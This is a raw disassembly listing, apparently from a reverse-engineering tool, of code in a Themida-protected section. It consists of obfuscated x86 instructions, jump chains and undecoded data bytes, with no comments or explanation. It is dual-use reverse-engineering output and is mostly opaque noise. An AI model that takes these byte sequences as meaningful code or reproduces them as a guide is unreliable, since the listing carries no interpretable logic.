dd 8704C483h, 0E95C241Ch, 0FFFFC0BBh
; ---------------------------------------------------------------------------
loc_53CDF8: ; CODE XREF: Themida_:0053DEA9j
xchg ecx, [esp]
pop esp
mov [esp], esi
push esp
jmp loc_53DCC7
; ---------------------------------------------------------------------------
db 1, 0CBh, 81h
dd 525403EBh, 6FC38123h, 59376C72h, 8B241C87h, 0A2E92424h
dd 56FFFF8Ch, 506B44BEh, 0D1C28103h, 29795E6Ah, 0D1BD55F2h
dd 29795E6Ah, 0C83E9EAh, 2C330000h, 242C3124h, 0E9242C33h
dd 237Eh
; ---------------------------------------------------------------------------
loc_53CE48: ; CODE XREF: Themida_:00539D6Aj
push edi
mov edi, 26FF2638h
add ebx, 1A95325Fh
push eax
jmp loc_53A8F9
; ---------------------------------------------------------------------------
dw 4BBh
dd 1000000h, 2434FFDFh, 0E9241C8Bh, 3CF1h, 423D685Eh, 14890000h
dd 76206824h, 3C890000h, 66DEBF24h, 0EC837482h, 243C8904h
dd 80240481h, 0E9265A13h, 0FFFFAECCh
; ---------------------------------------------------------------------------
loc_53CE94: ; CODE XREF: Themida_:00536023j
push esi
jmp loc_539735
; ---------------------------------------------------------------------------
dw 5551h
dd 3F53B5BDh, 5DE9893Eh, 3342C181h, 0E9816F0Ch, 2C15573h
dd 3180E981h, 0C801AA8Ah, 24048759h, 2D74E9h, 4C48100h
dd 5000000h, 4, 405h, 24043300h, 33240431h, 248B2404h
dd 7B3E924h, 89570000h, 4C781E7h, 0E9000000h, 15C1h, 6624248Bh
dd 8324048Bh, 348904ECh, 0C531E924h, 532CFFFFh, 0FFA85AE9h
dd 240CD3FFh, 8BAFE99Ch, 0E959FFFFh, 0FFFF9C88h, 17564FBFh
dd 0BB53E92Fh, 0C381FFFFh, 42F41EF9h, 39BDBD55h, 7BE95FFFh
db 9Eh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_53CF33: ; CODE XREF: Themida_:0053F8D8j
mov esi, edx
pop edx
sub ecx, esi
pop esi
xor ecx, 934E4A3h
jmp loc_537B6A
; ---------------------------------------------------------------------------
dd 5A5EF329h, 470168h, 0D2EBE900h, 0BF57FFFFh, 17665499h
dd 0C781E7D1h, 174C00D2h, 0C074C781h, 0FA8929FBh, 0BC45E95Fh
dd 0F66FFFFh, 87E902B6h, 89FFFFF4h, 76BF243Ch, 29531673h
dd 0EB815FFBh, 26DE0AA0h, 0FF97CFE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_53CF8D: ; CODE XREF: Themida_:0053FA4Ej
push 1B1E1BE5h
jmp loc_53C048
; ---------------------------------------------------------------------------
db 5Ch
dd 68240C89h, 607Ah, 83241C89h, 3C8904ECh, 51D1BF24h, 0E7C12510h
dd 58E78102h, 813FEB3Ch, 211C43C7h, 0E9FB890Fh, 0FFFFDBA0h
dd 4EC8148h, 89000000h, 5DBA2414h, 318FEA85h, 24148BD0h
dd 4C481h, 1DE90000h
db 4Fh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_53CFE3: ; CODE XREF: Themida_:0053E496j
sub ebx, ecx
mov ecx, [esp]
add esp, 4
add ebp, ebx
jmp loc_540F4E
; ---------------------------------------------------------------------------
loc_53CFF5: ; CODE XREF: Themida_:0053A908j
sub esp, 4
mov [esp], eax
xor [esp], eax
xor eax, [esp]
xor [esp], eax
not eax
xchg eax, [esp]
jmp loc_5393A6
; ---------------------------------------------------------------------------
dw 0F029h
dd 0FF9522E9h, 0F90159FFh, 2C1815Fh, 0E9000000h, 0FFFFB297h
; ---------------------------------------------------------------------------
loc_53D024: ; CODE XREF: Themida_:00538926j
mov ecx, 50FA7D95h
jmp loc_53D0FC
; ---------------------------------------------------------------------------
dw 0F381h
dd 9683F897h, 0FFE385E9h, 80C4FEFFh, 0E68834F4h, 0FFB38EE9h
dd 8A77E9FFh, 248BFFFFh, 89575624h, 8E7BE9E7h, 0EABBFFFFh
dd 293AF777h, 0DF0158C3h, 0F612E95Bh, 0D531FFFFh, 0E9895F5Ah
dd 0C67AE95Dh, 15BFFFFh, 0E904244Ch, 0FFFFAB66h, 24048F5Bh
dd 6624248Bh, 2404AB0Fh, 8A33E99Ch, 0E980FFFFh, 0BDE18055h
dd 0F696B450h, 0FBEC80D4h, 4450E9h
db 0
; ---------------------------------------------------------------------------
loc_53D0A1: ; CODE XREF: Themida_:0053E115j
or ebx, 379B7BDFh
push edx
mov edx, 0F141434h
sub ebx, edx
pop edx
jmp loc_53E49B
; ---------------------------------------------------------------------------
db 0ADh, 83h, 0ECh
dd 24348904h, 0FFEBD2E9h, 68F380FFh, 0D3F6CBFEh, 0EEE9D3F6h
dd 0F7000030h, 0C317E9D0h, 0D829FFFFh, 52D0015Bh, 935E94BAh
dd 55C28135h, 0E93C5370h, 0FFFFA713h, 24048B66h, 0FFEE20E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_53D0F5: ; CODE XREF: Themida_:00535B89j
sub ebx, esi
jmp loc_537C36
; ---------------------------------------------------------------------------
loc_53D0FC: ; CODE XREF: Themida_:0053D029j
and edx, ecx
pop ecx
inc edx
sub edx, 3926F570h
add edi, edx
jmp loc_53B84A
; ---------------------------------------------------------------------------
aIGsv db '¾‰Â¹GéV=',0
dw 8900h
dd 0C7E950E7h, 64FFFF98h, 0E9028B66h, 0AC1h, 0E9CE015Ah
dd 1865h, 3CEFE95Bh, 875D0000h, 0FF5C240Ch, 34FF2434h
dd 0B2FDE924h, 7B04FFFFh, 7B2CD028h, 148B7B2Ch, 4C48124h
dd 83000000h, 0EE904ECh, 5CFFFFB9h, 9C2424D3h, 0FF8958E9h
dd 0F02959FFh, 66BB535Eh, 0E96AAF7Fh, 1B5Fh
; ---------------------------------------------------------------------------
loc_53D178: ; CODE XREF: Themida_:00539753j
add esi, 2
jmp loc_5386C2
; ---------------------------------------------------------------------------
dd 0D2A8C381h, 0DE01B131h, 91F6815Bh, 46533D75h, 0F691E94Eh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_53D196: ; CODE XREF: Themida_:00537FE3j
or ecx, ebx
pop ebx
or ecx, 207531Bh
push ebp
mov ebp, 72517634h
push edi
jmp loc_5383B4
; ---------------------------------------------------------------------------
aBaVwi1usC db 'í/vWi1îéÖC',0
align 4
dd 24048B66h, 720868h, 243C8900h, 243C8B54h, 81E18951h
dd 4C1h, 4C18100h, 0E9000000h, 0FFFFE477h
; ---------------------------------------------------------------------------
loc_53D1DC: ; CODE XREF: Themida_:0053E327j
not edx
jmp loc_53BD23
; ---------------------------------------------------------------------------
loc_53D1E3: ; CODE XREF: Themida_:0053B8C8j
add edx, ebp
pop ebp
mov edi, [esp]
push eax
mov eax, esp
add eax, 4
jmp loc_53CB6E
; ---------------------------------------------------------------------------
loc_53D1F6: ; CODE XREF: Themida_:0053E7D9j
neg edi
xor edi, 385B343Dh
jmp loc_538488
; ---------------------------------------------------------------------------
db 0B8h
dd 4, 48BC301h, 0E0895024h, 405h, 40500h, 4870000h, 0FA23E924h
dd 8152FFFFh, 4ECh, 24348900h, 877F0568h, 24348B1Dh, 81E78957h
dd 4C7h, 0B92BE900h, 0F75FFFFFh, 51E94BD3h, 58FFFFC8h
dd 6DC380h, 0F8B050C3h, 0B353ED0Ch, 0EDC8E92Bh, 0DA01FFFFh
dd 8BD3895Bh, 0C4812414h, 4, 2B0E9h
db 0
; ---------------------------------------------------------------------------
loc_53D271: ; CODE XREF: Themida_:0053606Ej
and eax, ecx
mov ecx, [esp]
jmp loc_53F5F7
; ---------------------------------------------------------------------------
loc_53D27B: ; CODE XREF: Themida_:0053987Cj
add ebx, edi
jmp loc_540247
; ---------------------------------------------------------------------------
dw 0AF04h
dd 3B936866h, 0FFBC82E9h, 0C7015AFFh, 74FF5758h, 34FF0424h
dd 0C4835F24h, 24048F04h, 0F24248Bh, 9C2404A3h, 0FF8814E9h
dd 4DCB80FFh, 0EBE9C3FEh
db 0B9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_53D2B7: ; CODE XREF: Themida_:0053B024j
mov bl, 14h
jmp loc_53F53A
; ---------------------------------------------------------------------------
loc_53D2BE: ; CODE XREF: Themida_:0053A753j
push edx
push edi
push 40h
pop edi
push 2E02h
mov [esp], edi
sub dword ptr [esp], 1BDF070Eh
jmp loc_537C89
; ---------------------------------------------------------------------------
dw 0FF68h
dd 0E9000073h, 0FFFFE8FBh, 8904EC83h, 4BB7241Ch, 1548E950h
dd 0C8290000h, 592434FFh, 4C481h, 0EC810000h, 4, 1EA1E9h
dd 240C8900h, 53FE957h, 0AAE90000h
db 87h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_53D317: ; CODE XREF: Themida_:0053C85Bj
mov ecx, 2C6B286Ah
sub ecx, 0FFFFFFFFh
push 4BACh
mov [esp], ebx
mov ebx, 4FCE560Ah
or ebx, 43E84234h
shl ebx, 4
sub ebx, 0A3C93F48h
add ecx, ebx
pop ebx
jmp loc_538FFB
; ---------------------------------------------------------------------------
loc_53D343: ; CODE XREF: Themida_:00539151j
push esp
jmp loc_541382
; ---------------------------------------------------------------------------
loc_53D349: ; CODE XREF: Themida_:00542154j
xor esi, 1E9F1657h
xor esi, 43C04391h
xor esi, 0A3C2BBECh
jmp loc_535DB5
; ---------------------------------------------------------------------------
dd 97706C2Dh, 0E0D14842h, 3341E72Dh, 58C3899Eh, 622DBE56h
dd 68686821h, 89000013h, 4EBA2414h, 292CAF0Fh, 0E6815AD6h
dd 76B508E5h, 8104EEC1h, 0DCFFF5C6h, 8BF301FCh, 0C4832434h
dd 0E9D3F704h, 0FFFFE39Eh, 1DF1E954h, 0C7310000h, 13D0E958h
dd 0CB290000h, 83240C8Bh, 0C30104C4h, 0FF93F4E9h, 241C89FFh
dd 4EC81h, 14890000h, 5CB35324h, 0B1E9DA88h, 0FFFFFFF5h
dd 5D042474h, 0FFE768E9h, 9F04ACFFh, 1FB25266h, 0FFA309E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_53D3ED: ; CODE XREF: Themida_:00535F93j
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], esi
mov esi, 1
push 16C0h
mov [esp], eax
push esi
push 793E486Ah
jmp loc_53FCE8
; ---------------------------------------------------------------------------
db 89h, 1Ch, 24h
dd 197709BBh, 0FCEFE931h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_53D41E: ; CODE XREF: Themida_:005423E0j
push small 6D38h
mov [esp], ax
jmp loc_535AC1
; ---------------------------------------------------------------------------
loc_53D42B: ; CODE XREF: Themida_:00542238j
xor edx, 81F0D8CBh
sub edi, 7115726h
sub edi, edx
push edx
jmp loc_541C83
; ---------------------------------------------------------------------------
db 89h
dd 4C581E5h, 83000000h, 0A8E904EDh, 54FFFFB1h, 0FFCA3AE9h
dd 2434FFFFh, 83240C8Bh, 0D06804C4h, 89000059h, 0E589242Ch
dd 4C581h, 9C680000h, 89000014h, 0AE92434h, 0C100002Ah
dd 0E94005E0h, 0FFFFFC4Bh, 486DBB53h, 0C14369E6h, 0DBF708EBh
dd 0FFDD18E9h, 5FFD29FFh, 875DE929h, 0D6E9240Ch
db 1Fh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_53D4A3: ; CODE XREF: Themida_:00539542j
shr ebp, 8
add ebp, 0D7031398h
xor ecx, ebp
jmp loc_536790
; ---------------------------------------------------------------------------
db 89h
dd 91E9241Ch, 81000036h, 2EAh, 74FF5200h, 148B0424h, 4C48324h
dd 8B24048Fh, 89662424h, 0E6E92404h, 49FFFF85h, 21B0E9h
dd 89535000h, 0C9F8E9E3h, 0F6B6FFFFh, 0F10015B1h, 0FFB548E9h
dd 48F58FFh, 66E95C24h, 8BFFFF99h, 0C483240Ch, 12126804h
dd 63E90000h, 8000001Eh, 0D32806EAh, 0EB80585Ah, 0C0B60FF0h
dd 0F9EE9h, 1C5F0900h, 22EEE9h, 0E9CE0100h, 2D79h
; ---------------------------------------------------------------------------
loc_53D530: ; CODE XREF: Themida_:00537EAEj
push 3E90h
mov [esp], eax
push esi
push dword ptr [esp+4]
mov esi, [esp]
add esp, 4
pop dword ptr [esp]
not esi
push ebx
push esp
jmp loc_53C51C
; ---------------------------------------------------------------------------
loc_53D54F: ; CODE XREF: Themida_:0053967Dj
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
pop esp
push dword ptr [edi+eax*4]
mov eax, [esp]
push ecx
mov ecx, esp
push ebx
mov ebx, 53196BDAh
jmp loc_53DE89
; ---------------------------------------------------------------------------
dd 0E289525Bh, 572BB53h, 0D3F741FAh, 8107EBC1h, 0D61099C3h
dd 81D3F70Ch, 0ADE36DEBh, 0AA8CE9F1h, 0C181FFFFh, 9031217h
dd 2959C889h, 19E958C7h, 5BFFFFB1h, 0FE38AA05h, 36BE5617h
dd 815A4D6Ah, 5B610AF6h, 3E6C117h, 1EB368h, 241C8900h
dd 1D22CDBBh, 0E9DE2123h, 1DF7h, 377DCE81h, 0EE81330Bh
dd 2B0C274Fh, 815EF301h, 93D206C3h, 3EE81F0h, 1610459h
dd 3C681DEh, 5B610459h, 5604EE83h, 42474FFh, 0FFB06DE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_53D5F9: ; CODE XREF: Themida_:0053FB43j
push esi
mov esi, 5BAD3474h
jmp loc_53DCB3
; ---------------------------------------------------------------------------
loc_53D604: ; CODE XREF: Themida_:0053DC61j
xchg ebx, [esp]
mov esp, [esp]
jmp loc_53D824
; ---------------------------------------------------------------------------
db 56h
dd 727ABA52h, 0E6BE7550h, 314E0775h, 9CBA5AD6h, 813B5707h
dd 817844C2h, 0C84BE946h, 0C789FFFFh, 3832E9h
db 0
; ---------------------------------------------------------------------------
loc_53D635: ; CODE XREF: Themida_:005368D8j
add eax, ebp
mov ebp, [esp]
jmp loc_53F98B
; ---------------------------------------------------------------------------
db 50h
dd 405E089h, 0E9000000h, 0FFFFCC01h, 0F680DEF6h, 0C0D6F61Bh
dd 0C68003E6h, 0E9F000F3h, 4111h, 55595451h, 0FFDC45E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_53D669: ; CODE XREF: Themida_:0053E3D7j
mov [esp], cx
mov ch, 5
jmp loc_542206
; ---------------------------------------------------------------------------
dd 4DC9F181h, 0B8E915F4h, 81FFFFA6h, 9F105AF5h, 8A36E965h
dd 0D801FFFFh, 4C0835Bh, 0FF8D00E9h, 2434FFFFh, 0EC835558h
dd 24248904h, 0FF9F79E9h, 137068FFh, 3C890000h, 68E78924h
dd 53DEh, 52240489h, 1B4FE9h, 0C9EB8100h, 8B72245Fh, 89502434h
dd 9AB3E9E0h, 0BE56FFFFh, 4, 0FF9948E9h, 1E2F68FFh, 3C890000h
dd 81E78924h, 4C7h, 1A0C6800h, 1C890000h, 9D5CE924h, 0D909FFFFh
dd 2FF9E95Bh, 0E9540000h, 13B5h, 6FC380h, 0C3285BD8h, 5024048Bh
dd 0BA52E089h, 97B7056h, 7052F281h, 0D001097Bh, 8124148Bh
dd 4C4h, 40500h, 4870000h, 6AE95C24h, 0AC000025h, 0C9E9D830h
dd 66FFFFBDh, 0B9665157h, 46E94209h, 89000009h, 4C681E6h
dd 83000000h, 348704C6h, 0E9505C24h, 4364h, 0C32FB3BEh
dd 8D50E976h, 2B9FFFFh, 5000000h, 27D06711h, 112DC801h
dd 5927D067h, 8B240487h, 0F662424h, 6866C8BEh, 0C4E9358Ah
dd 8100001Ah, 450672EBh, 4EC8318h, 51240489h, 0AE7270B9h
dd 6BDCB80Fh, 0C8315531h, 58C30159h, 76BEC381h, 46E97F03h
dd 57FFFFE0h, 3D7D5CBFh, 9188E92Eh, 452DFFFFh, 0E9CFFB43h
dd 1B82h
; ---------------------------------------------------------------------------
loc_53D7CC: ; CODE XREF: Themida_:0053FD15j
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
pop eax
pop esi
loc_53D7E1: ; CODE XREF: Themida_:0053F431j
push ebx
jmp loc_53F029
; ---------------------------------------------------------------------------
db 81h
dd 64582EFh, 0E9C35905h, 0FFFF82CDh
; ---------------------------------------------------------------------------
loc_53D7F4: ; CODE XREF: Themida_:005362B5j
add eax, 49B5235Eh
add eax, edi
jmp loc_53E298
; ---------------------------------------------------------------------------
dd 34FFDE01h, 0C518E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_53D80A: ; CODE XREF: Themida_:0053BE3Bj
mov dword ptr [edx+38h], 1ECB6695h
sub [edx+38h], ebp
mov ebp, [esp]
add esp, 4
push 18BCh
jmp loc_53ED32
; ---------------------------------------------------------------------------
loc_53D824: ; CODE XREF: Themida_:0053D60Aj
mov [esp], ebp
jmp loc_540185
; ---------------------------------------------------------------------------
loc_53D82C: ; CODE XREF: Themida_:0053FF3Cj
add esi, 4
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
mov esp, [esp]
jmp loc_53DC3E
; ---------------------------------------------------------------------------
db 4
dd 2CD8288Dh, 55B6528Dh, 0FFD1E6E9h, 6E0FBFFFh, 0F9894DA5h
dd 102C685Fh, 0C890000h, 0D1595824h, 57D8F7E8h, 527DFCBFh
dd 98C7810Dh, 0E90F46A6h, 2AAFh, 0B3E9E628h, 6600001Ah
dd 52CCB60Fh, 81E78957h, 4C7h, 4EF8100h, 87000000h, 895C243Ch
dd 4812424h, 424h, 0C2815A00h, 4, 2016E9h, 0E2815A00h
dd 58CD67F7h, 1C281h, 0BD550000h, 183F10B8h, 39DEF581h
dd 42E9A6F3h
db 0D0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_53D8CB: ; CODE XREF: Themida_:0053BFCDj
push esi
push 26623B80h
pop esi
jmp loc_53F2DA
; ---------------------------------------------------------------------------
db 0FFh
dd 589D1C77h, 9C240411h, 0FF81DCE9h, 240487FFh, 0E9D8F758h
dd 0FFFFFA70h, 0E0C68146h, 89F18BCAh, 0BA525EF3h, 2C920F41h
dd 6792C281h, 81573A48h, 4ECh, 0AF72E900h, 665CFFFFh, 0E924048Bh
dd 0FFFFC8E3h, 88E9E830h
db 0B5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_53D923: ; CODE XREF: Themida_:0054006Aj
sub esi, 9B5E705Ah
or edx, esi
pop esi
jmp loc_53E07C
; ---------------------------------------------------------------------------
db 87h, 0Ch, 24h
dd 0FFF711E9h, 0E9C701FFh, 2B1Fh
; ---------------------------------------------------------------------------
loc_53D940: ; CODE XREF: Themida_:005411A4j
mov ch, dl
pop edx
add ch, 52h
sub ch, 29h
jmp loc_535D54
; ---------------------------------------------------------------------------
dw 8159h
dd 4ECh, 243C8900h, 0FFA629E9h, 50435BFFh, 7272B3B8h, 3D6CE921h
dd 5580000h, 4, 0B4685751h, 5F729268h, 2EFC14Fh, 0D5BA5247h
dd 0E9E35B65h, 0FFFF8C43h, 0FF241C89h, 5B042474h, 5C24048Fh
dd 8957C330h, 4C781E7h, 83000000h, 3C8704EFh, 1C895C24h
dd 261FE924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_53D9AE: ; CODE XREF: Themida_:00536F37j
mov [esp], esi
jmp loc_540DBF
; ---------------------------------------------------------------------------
dw 489h
aTxhf7 db '$TXhF7',0
align 10h
dd 0BE243489h, 4, 525EF001h, 499BB850h, 18E905B2h, 5F000013h
dd 17E468h, 24348900h, 268h, 0E9565E00h, 41D1h, 840FC909h
dd 0FFFFFE26h, 9068E955h, 74FFFFFFh, 34FF0424h, 0C4835924h
dd 24048F04h, 0FFD50FE9h, 81CF01FFh, 0CC05C3EFh, 1E685948h
dd 89000025h, 0BFBB241Ch, 0C102FE0Dh, 0B5E903E3h, 0BBFFFFA4h
dd 141621A4h, 0FFA62CE9h, 0AAE9ACFFh
db 1Eh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_53DA3B: ; CODE XREF: Themida_:00539294j
add esp, 4
loc_53DA41: ; CODE XREF: Themida_:00541666j
sub esp, 4
mov [esp], ebp
mov ebp, esp
add ebp, 4
push ecx
mov ecx, 4
sub ebp, ecx
pop ecx
jmp loc_53E388
; ---------------------------------------------------------------------------
loc_53DA5D: ; CODE XREF: Themida_:0053AD68j
mov esi, [esp]
add esp, 4
push ebp
mov ebp, 1BEA73FEh
shl ebp, 1
add ebp, 1CBF3646h
jmp loc_5405E0
; ---------------------------------------------------------------------------
loc_53DA79: ; CODE XREF: Themida_:00539636j
push edx
mov edx, esp
jmp loc_53DBCB
; ---------------------------------------------------------------------------
db 5Eh, 0E9h, 0C7h
dd 5EFFFFC9h, 36B95147h, 2101270Fh, 240C8BCFh, 4C481h
dd 0CE90000h, 87FFFF9Bh, 685C242Ch, 23A7h, 89241489h, 0C859E9E2h
dd 0C381FFFFh, 5D702C8Bh, 0FFEEA8E9h, 425E5DFFh, 0FFBA95E9h
dd 0C1665FFFh, 56605E0h, 8166F38Eh, 663F5CE9h, 8166C101h
dd 583F5CC1h, 85C98166h, 0E9816608h, 0EBE91F44h, 66000038h
dd 50240C8Bh, 0FFB17CE9h, 57C181FFh, 1A2ACC8h, 5AE959CBh
dd 0BAFFFF93h, 6ACA14DDh, 8107EAC1h, 533696C2h, 0AA3FE942h
dd 5650FFFFh, 0F73A01BEh, 8E92E92Fh, 8B66FFFFh, 0EC832404h
dd 241C8904h, 3B2968h, 4EC8300h, 83242489h, 8F042404h
dd 0E9562404h, 0FFFFB755h
; ---------------------------------------------------------------------------
loc_53DB44: ; CODE XREF: Themida_:005400C8j
add esp, 4
xor eax, ebx
jmp loc_5389E8
; ---------------------------------------------------------------------------
db 87h, 4, 24h
dd 24D3665Ch, 62E99C24h
db 7Fh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_53DB5F: ; CODE XREF: Themida_:0053AE7Fj
mov edi, 48BC2077h
sub eax, edi
pop edi
push edi
jmp loc_54037A
; ---------------------------------------------------------------------------
db 5Dh, 81h, 0EAh
dd 5D0233E8h, 5A5AD001h, 0FF9C5FE9h, 0EF8059FFh, 0C11EE9EFh
dd 0D000FFFFh, 0FFEBC5E9h, 2474FFFFh, 0E2E95B04h, 5300003Bh
dd 0C6E905B3h, 0BBFFFF93h, 4, 16E9DF01h
db 21h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_53DBAB: ; CODE XREF: Themida_:0053DE67j
pop ecx
jmp loc_540A6C
; ---------------------------------------------------------------------------
db 33h, 0Ch, 24h
dd 4C3815Ch, 0E9000000h, 4705h, 8B2434FFh, 0BE92404h
db 0ADh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_53DBCB: ; CODE XREF: Themida_:0053DA7Cj
add edx, 4
push esi
push edi
push 15112196h
jmp loc_53762F
; ---------------------------------------------------------------------------
db 66h, 8Bh, 0Ch
dd 0E7895724h, 0FFE734E9h, 0E16866FFh, 489663Bh, 8A32E924h
dd 0E789FFFFh, 3B5FBD55h, 0C58140EDh, 101F23B5h, 81FFED83h
dd 0C5F11F5h, 5DEF0151h, 4B850h, 0C7010000h, 582434FFh
dd 0FFCC75E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_53DC21: ; CODE XREF: Themida_:00537951j
xchg ebp, [esp]
pop esp
jmp loc_535AC1
; ---------------------------------------------------------------------------
dw 8951h
dd 59CF89F1h, 1DB1E95Eh, 0C890000h, 0D8AAE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_53DC3E: ; CODE XREF: Themida_:0053D83Ej
push esi
push eax
mov eax, 30490DA0h
jmp loc_53A00F
; ---------------------------------------------------------------------------
loc_53DC4A: ; CODE XREF: Themida_:00542271j
add esp, 4
jmp loc_53718B
; ---------------------------------------------------------------------------
db 5Ah, 21h, 0F7h
dd 0A60CE95Eh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_53DC5E: ; CODE XREF: Themida_:00539586j
sub ebx, 4
jmp loc_53D604
; ---------------------------------------------------------------------------
dw 0E9ADh
dd 0FFFFA11Fh
; ---------------------------------------------------------------------------
loc_53DC6C: ; CODE XREF: Themida_:00541BB8j
neg ebp
not ebp
inc ebp
add ebp, 3A0B3FBAh
jmp loc_54069E
; ---------------------------------------------------------------------------
dd 0CE4FB7BFh, 0C7F78125h, 31766643h, 0C1815FF9h, 39CC3061h
dd 2CEBE9h, 0E0895000h, 405h, 0CB43E900h, 0E981FFFFh, 6C5E6EBBh
dd 7809E981h, 0FDE9E87Eh
db 1Fh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_53DCB3: ; CODE XREF: Themida_:0053D5FFj
shr esi, 2
jmp loc_540ACD
; ---------------------------------------------------------------------------
loc_53DCBB: ; CODE XREF: Themida_:00537C97j
mov ebx, 969024Ah
and ebp, ebx
jmp loc_53B8BB
; ---------------------------------------------------------------------------
loc_53DCC7: ; CODE XREF: Themida_:0053CE00j
mov esi, [esp]
add esp, 4
add esi, 4
sub esp, 4
jmp loc_53B15E
; ---------------------------------------------------------------------------
loc_53DCE1: ; CODE XREF: Themida_:0053BAE7j
or ebp, esi
jmp loc_5393E6
; ---------------------------------------------------------------------------
dd 2474FF57h, 0C4C4E904h, 489FFFFh, 2474FF24h, 0ECE95804h
dd 5AFFFFE5h, 3C00C581h, 0DDF72256h, 0E710E950h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_53DD0E: ; CODE XREF: Themida_:00541B32j
pop ebp
jmp loc_53AC00
; ---------------------------------------------------------------------------
loc_53DD14: ; CODE XREF: Themida_:0053AD21j
pop eax
push 6A51h
mov [esp], ebp
jmp loc_5367AF
; ---------------------------------------------------------------------------
aRsc_0 db 'Ré–+',0
align 4
dd 19AA68h, 243C8900h, 0FD3E9h
db 0
; ---------------------------------------------------------------------------
loc_53DD35: ; CODE XREF: Themida_:0053B107j
shr ebp, 4
add ebp, 3E172FE3h
push eax
mov eax, 57847089h
push eax
not dword ptr [esp]
pop eax
or eax, 1ADB7512h
and eax, 42231774h
sub eax, 469E2B79h
or eax, 446E5C68h
add eax, 110004h
add ebp, eax
pop eax
neg ebp
neg ebp
jmp loc_540673
; ---------------------------------------------------------------------------
dw 2BDh
dd 29000000h, 242C8BEAh, 4C481h, 0FF520000h, 8B042474h
dd 89502414h, 4BB53E0h, 0E9000000h, 0FFFFF8F6h
; ---------------------------------------------------------------------------
loc_53DD94: ; CODE XREF: Themida_:00538D47j
mov edx, 1Ch
sub edx, 230D3475h
sub edx, 3ADD1DECh
add edx, edi
push esi
mov esi, 8535C95h
xchg ebx, esi
jmp loc_540DDA
; ---------------------------------------------------------------------------
loc_53DDB4: ; CODE XREF: Themida_:0053942Ej
push edi
push ebp
push ebx
mov ebx, 33B818CDh
jmp loc_53B29C
; ---------------------------------------------------------------------------
db 4Eh, 81h, 0EEh
dd 0D8D6296h, 0A3CAEE81h, 0F731DBC7h, 0E6BE565Eh, 0E962E532h
dd 0FFFFEEDBh, 9C242CD2h, 0FF7CDCE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_53DDE5: ; CODE XREF: Themida_:005380EFj
sub dword ptr [esp], 3E0E38EEh
pop ebx
add ebx, 3E0E38EEh
mov ecx, [esp]
push 7165h
mov [esp], ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
pop esp
jmp loc_53A476
; ---------------------------------------------------------------------------
db 42h
dd 0C77E9h, 0D2F74A00h, 0D355F281h, 59E9F2D4h
db 8Dh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_53DE2F: ; CODE XREF: Themida_:0053C0EDj
mov ebx, ecx
pop ecx
push ebx
mov ecx, [esp]
add esp, 4
mov ebx, [esp]
add esp, 4
jmp loc_53976C
; ---------------------------------------------------------------------------
loc_53DE47: ; CODE XREF: Themida_:0053C07Aj
pop ebp
sub esi, ebx
pop ebx
jmp loc_53965F
; ---------------------------------------------------------------------------
loc_53DE50: ; CODE XREF: Themida_:0053B9E1j
dec ebx
push 7C4Fh
mov [esp], ecx
push esi
mov esi, 11245F72h
push esi
xor dword ptr [esp], 33F8753Ah
jmp loc_53DBAB
; ---------------------------------------------------------------------------
dd 81D3F75Ah, 0AC5C01EBh, 0F73E940h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_53DE7A: ; CODE XREF: Themida_:00538F6Cj
neg ebp
add ebp, 7BC5B9E3h
sub ecx, ebp
jmp loc_53649C
; ---------------------------------------------------------------------------
loc_53DE89: ; CODE XREF: Themida_:0053D567j
shr ebx, 8
neg ebx
sub ebx, 391A16F0h
shl ebx, 4
add ebx, 53606063h
xor ebx, 0BC8D5AB7h
add ecx, ebx
pop ebx
sub ecx, 4
jmp loc_53CDF8
; ---------------------------------------------------------------------------
dw 1489h
dd 0A48EE924h, 0DBBEFFFFh, 817B5148h, 955ACFC6h, 5EF789F8h
dd 34FFFD31h, 1138E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_53DECE: ; CODE XREF: Themida_:0053BBE9j
add edi, 4
jmp loc_541C4D
; ---------------------------------------------------------------------------
db 59h, 53h, 89h
dd 0C1F1E9E3h, 0CE01FFFFh, 0FFC6DAE9h, 24248BFFh, 50241489h
dd 7BCBE99Ch, 0E981FFFFh, 440B4D7Fh, 0FFA971E9h, 0E95B54FFh
dd 0FFFF9014h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
jmp loc_540710
; ---------------------------------------------------------------------------
dd 0E95EF289h, 0FFFFEEFBh, 4BE56h, 0ACE90000h, 0FFFFFFB5h
dd 19E92434h, 56FFFFB6h, 5E0B37BEh, 0C4E95224h, 0F700001Fh
dd 32C281DAh, 2987F425h, 0D5F75AD5h, 54E9D5F7h, 2DFFFFF2h
dd 7E6B1E9Ch, 9C05F801h, 8B7E6B1Eh, 0C481243Ch, 4, 0FFD6CEE9h
